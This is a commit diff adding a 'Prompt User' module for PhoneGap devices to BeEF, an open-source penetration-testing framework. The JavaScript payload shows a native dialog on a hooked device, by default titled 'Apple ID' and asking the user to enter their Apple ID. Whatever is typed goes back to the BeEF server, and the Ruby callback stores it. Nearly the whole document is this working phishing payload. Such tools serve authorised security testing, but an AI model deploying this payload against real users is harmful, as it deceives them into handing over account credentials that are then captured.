Adding user prompt
This commit is contained in:
29
modules/phonegap/phonegap_prompt_user/command.js
Normal file
29
modules/phonegap/phonegap_prompt_user/command.js
Normal file
@@ -0,0 +1,29 @@
|
||||
//
|
||||
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
// Phonegap_prompt_user
|
||||
//
|
||||
beef.execute(function() {
|
||||
var title = "<%== @title %>";
|
||||
var question = "<%== @question %>";
|
||||
var ans_yes = "<%== @ans_yes %>";
|
||||
var ans_no = "<%== @ans_no %>";
|
||||
var result = '';
|
||||
|
||||
|
||||
function onPrompt(results) {
|
||||
result = "Selected button number " + results.buttonIndex + " result: " + results.input1;
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
|
||||
}
|
||||
|
||||
navigator.notification.prompt(
|
||||
question,
|
||||
onPrompt,
|
||||
title,
|
||||
[ans_yes,ans_no]
|
||||
);
|
||||
|
||||
});
|
||||
17
modules/phonegap/phonegap_prompt_user/config.yaml
Normal file
17
modules/phonegap/phonegap_prompt_user/config.yaml
Normal file
@@ -0,0 +1,17 @@
|
||||
#
|
||||
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
# Phonegap_prompt_user
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
phonegap_prompt_user:
|
||||
enable: true
|
||||
category: "Phonegap"
|
||||
name: "Prompt User"
|
||||
description: "Ask device user a question"
|
||||
authors: ["staregate"]
|
||||
target:
|
||||
working: ["All"]
|
||||
46
modules/phonegap/phonegap_prompt_user/module.rb
Normal file
46
modules/phonegap/phonegap_prompt_user/module.rb
Normal file
@@ -0,0 +1,46 @@
|
||||
#
|
||||
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
# Phonegap_prompt_user
|
||||
#
|
||||
|
||||
class Phonegap_prompt_user < BeEF::Core::Command
|
||||
|
||||
def self.options
|
||||
return [{
|
||||
'name' => 'title',
|
||||
'description' => 'Prompt title',
|
||||
'ui_label'=>'Title',
|
||||
'value' => 'Apple ID',
|
||||
'width' => '300px'
|
||||
|
||||
},{
|
||||
'name' => 'question',
|
||||
'description' => 'Prompt question',
|
||||
'ui_label'=>'Question',
|
||||
'value' => 'Please enter your Apple ID',
|
||||
'width' => '300px'
|
||||
},{
|
||||
'name' => 'ans_yes',
|
||||
'description' => 'Prompt positive answer button label',
|
||||
'ui_label'=>'Yes',
|
||||
'value' => 'Submit',
|
||||
'width' => '100px'
|
||||
},{
|
||||
'name' => 'ans_no',
|
||||
'description' => 'Prompt negative answer button label',
|
||||
'ui_label'=>'No',
|
||||
'value' => 'Cancel',
|
||||
'width' => '100px'
|
||||
}]
|
||||
end
|
||||
|
||||
def callback
|
||||
content = {}
|
||||
content['Result'] = @datastore['result']
|
||||
save content
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user